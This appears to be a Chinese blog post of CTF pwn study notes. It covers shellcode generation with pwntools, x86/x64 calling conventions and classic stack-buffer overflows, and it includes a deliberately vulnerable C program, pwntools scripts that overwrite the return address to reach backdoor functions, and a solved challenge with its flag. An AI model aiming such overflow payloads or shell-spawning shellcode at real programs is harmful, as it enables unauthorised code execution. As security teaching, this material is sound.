mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
967 字
3 分钟
shellcode
2025-11-15

ShellCode#

ShellCode 是一段机器码,主要用于启动一个命令行的shell 特征:

  • 纯机器代码
  • 位置无关代码
  • 紧凑小巧
  • 无空字节

使用 pwntool 生成对应 平台的shellcode#

使用context 可以设置全局的配置环境,可以设置:

  • 目标架构和操作系统
  • 日志级别
  • 终端设置
  • 其他运行参数

以下是基本导入和设置

from pwm import *
# 查看当前context
# 设置当前 context
context( arch = "i386", os = "liunx" )

常用参数(arch)

  • x86_64
  • x86
  • ARM

常用参数os

  • liunx
  • windows

常用参数 log_level

# 不同的日志级别
context(log_level='debug') # 最详细,显示所有信息
context(log_level='info') # 一般信息(默认)
context(log_level='warn') # 只显示警告
context(log_level='error') # 只显示错误
context(log_level='critical') # 只显示严重错误
# 完全关闭日志
context(log_level='silent')

同时我们也可以通过 context.bits 查看系统的位宽

生成shell code#

shellcode = asm(shellcraft.sh())

其中 asm 方法是将汇编代码转化成机器码的方法,返回的是bytes对象,即原始机器码对象,同时生成的机器码也可以通过 disasm 方法进行反汇编

shellcraft.sh() 方法,是生成获取系统shell的shellcode

总结:#

Shellcode 是指一小段机器码,如果题目提供的程序没有栈执行保护,可以优先使用 shellcode 注入来直接获取shell

基本的函数调用栈,#

x86和x64 程序有以下一些区别:

  • 对于 x86 程序:
    • 绝大多数情况下,函数参数通过栈来传递
    • 标准的C/C++ 调用约定(cdecl, stdcall) 完全使用栈传递参数
    • fastcall 会使用寄存器传递前几个参数
  • 对于 x64 程序:
    • 前六个 整型或者指针参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 寄存器中多余的会被一出到栈中
    • 内存地址不能大于 0x00007FFFFFFFFFFF, 6 个字节长度 ,否则会抛出异常 (因为为了电路简化和提高性能和安全性)

gets和puts 函数#

在 C 语言中,getsputs 都是标准输入输出库(<stdio.h>)中用于处理字符串的函数。

  1. gets

从stdin 中读取字符串,直到遇到 \n 或者 EOF 为止.

char* gets(char* buf);

但是不检测缓冲区数组的边界,如果输入的数组比目标数组长,会导致缓冲区溢出,所以可以利用这一点进行攻击,但是在现在的C11 标准中 这个函数已经被移除了

  1. puts

将字符串输出到 stdout ,并在末尾自动添加换行fu

int puts(const char* str);

可以进行简单的字符串输出,比printf 高效,因为没有format操作

典型栈溢出#

这是一个简单的程序

#include <stdio.h>
void backdoor(void)
{
puts("This back door");
}
void vulnerable(void)
{
char s[12];
gets(s);
puts(s);
return;
}
int main(void)
{
vulnerable();
return 0;
}
gcc -fno-stack-protector -no-pie ./stackflow.c -o ./stackflow

将其拖入IDA 中分析 发现缓冲区s 到 ret 的偏移为20 所以我们可以构建如下脚本

from pwn import *
context(arch='amd64', os='linux', log_level='info')
elf = ELF("./stackflow") # 获取 该文件的保护措施
backdoor_addr = elf.symbols['backdoor'] # 获取backdoor 的地址
print(f"后门函数地址 {hex(backdoor_addr)}")
offset = 20
payload = b'a' * offset + p64(backdoor_addr) # 构建payload
p = process('./stackflow') # 启动程序
p.sendline(payload) # 发送payload
output = p.recvall(timeout = 2) # 接受程序输出
print(output)

例题: 2 EZtext#

将题目中获取的pwn 文件,拖入ida 发现一个后门函数 treasure, 同时在函数overflow 中发现危险函数 read,我们可以利用这一点将 返回地址 覆盖为 treasure的地址

int __fastcall overflow(int n7)
{
_BYTE buf[8]; // [rsp+18h] [rbp-8h] BYREF
if ( n7 <= 7 )
return puts("Come on, you can't even fill up this array?");
read(0, buf, n7);
return puts("OK,I receive your byte.and then?");
}

通过对于buf 的分析 发现 偏移值为16

-0000000000000008 _BYTE buf[8];
+0000000000000000 _QWORD __saved_registers;
+0000000000000008 _UNKNOWN *__return_address;

于是可以构建出如下脚本

from pwn import *
context(arch='amd64', os='linux', log_level='info')
elf = ELF("./pwn")
offset = 16
backdoor_addr = elf.symbols["treasure"]
print(f"后门函数地址 {hex(backdoor_addr)}")
ret = 0x40122d # 指定一个其他地址 防止产生EOF 错误
payload = b'a' * offset + p64(ret) + p64(backdoor_addr)
# p = process("./pwn")
p = remote("127.0.0.1", 44465)
p.recvuntil(b"Then how many bytes do you need to overflow the stack?\n")
p.sendline(b"64")
p.send(payload)
p.interactive() # 交互

成果过去shell 得到flag:moectf{R3T2t3Xt_is-THE-StARt_0F_ROp26069ba}

总结:#

面对此类题目:

  • 尝试寻找会导致栈溢出的危险函数
  • 通过 ida 静态分析 溢出变量到 ret 的偏移量
  • 定位后门函数
  • 计算偏移量
  • 绕过保护机制 构建payload

栈溢出的主要目的就是将缓冲区等区域写入数据时候,超出边界,覆盖相邻栈的内存来(比如保存的寄存器,返回地址),来达到修改程序的作用

常见的危险函数, 输入:

  • gets
  • scanf 输出:
  • sprintf 字符串:
  • strcpy, 字符串赋值,遇到\x00 停止
  • strcat 字符串拼接 \x00
  • bcopy

注意:在远程连接的时候记得尝试打印一下程序的输出,有些时候程序的在本地的输出与在服务端的输出是不一样的

a = p.recv()
print(a)
分享

如果这篇文章对你有帮助,欢迎分享给更多人!

shellcode
https://yoyolp.github.io/posts/11/15/
作者
超级玉米人
发布于
2025-11-15
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录